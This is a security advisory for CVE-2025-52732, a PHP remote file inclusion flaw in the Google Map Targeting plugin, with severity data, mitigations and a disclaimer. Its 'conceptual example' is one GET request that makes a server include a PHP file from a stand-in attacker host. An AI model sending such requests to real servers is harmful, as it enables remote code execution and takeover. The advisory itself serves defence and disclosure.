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CVE-2025-52732: PHP Remote File Inclusion Vulnerability in Google Map Targeting Plugin

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Overview

The CVE-2025-52732 is a high-risk vulnerability in the Google Map Targeting plugin, developed by RealMag777, that affects versions up to 1.1.6. This vulnerability, known as PHP Remote File Inclusion (RFI), could allow attackers to execute arbitrary code on the server that runs this software. This could potentially compromise the entire system or lead to significant data leakage. Given the widespread usage of Google Map Targeting for various online applications, this vulnerability could have far-reaching and severe impacts if not addressed promptly and effectively.

Vulnerability Summary

CVE ID: CVE-2025-52732
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

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Product | Affected Versions

Google Map Targeting | n/a through 1.1.6

How the Exploit Works

The PHP Remote File Inclusion (RFI) vulnerability occurs due to improper control of a filename for an include/require statement in the PHP program of the Google Map Targeting plugin. This flaw allows an attacker to include a file from a remote server, which could contain harmful PHP code. When this code is executed, it can result in unauthorized actions, such as data manipulation, data theft or even complete system takeover.

Conceptual Example Code

The conceptual example below illustrates how an attacker might exploit this vulnerability. They would send a malicious HTTP GET request, including a URL of a remote file containing the malicious code in the request parameter.

GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: vulnerablewebsite.com

This request would force the server to include and execute the ‘malicious.php’ file from the attacker’s server, leading to the potential compromise of the system.

Mitigation and Prevention

The best way to mitigate this vulnerability is by applying the patch provided by the vendor as soon as it becomes available. However, as a temporary measure, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to block or alert on such malicious requests. It is also recommended to disable allow_url_include and allow_url_fopen in the PHP configuration, as this would prevent the inclusion of files from remote servers.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

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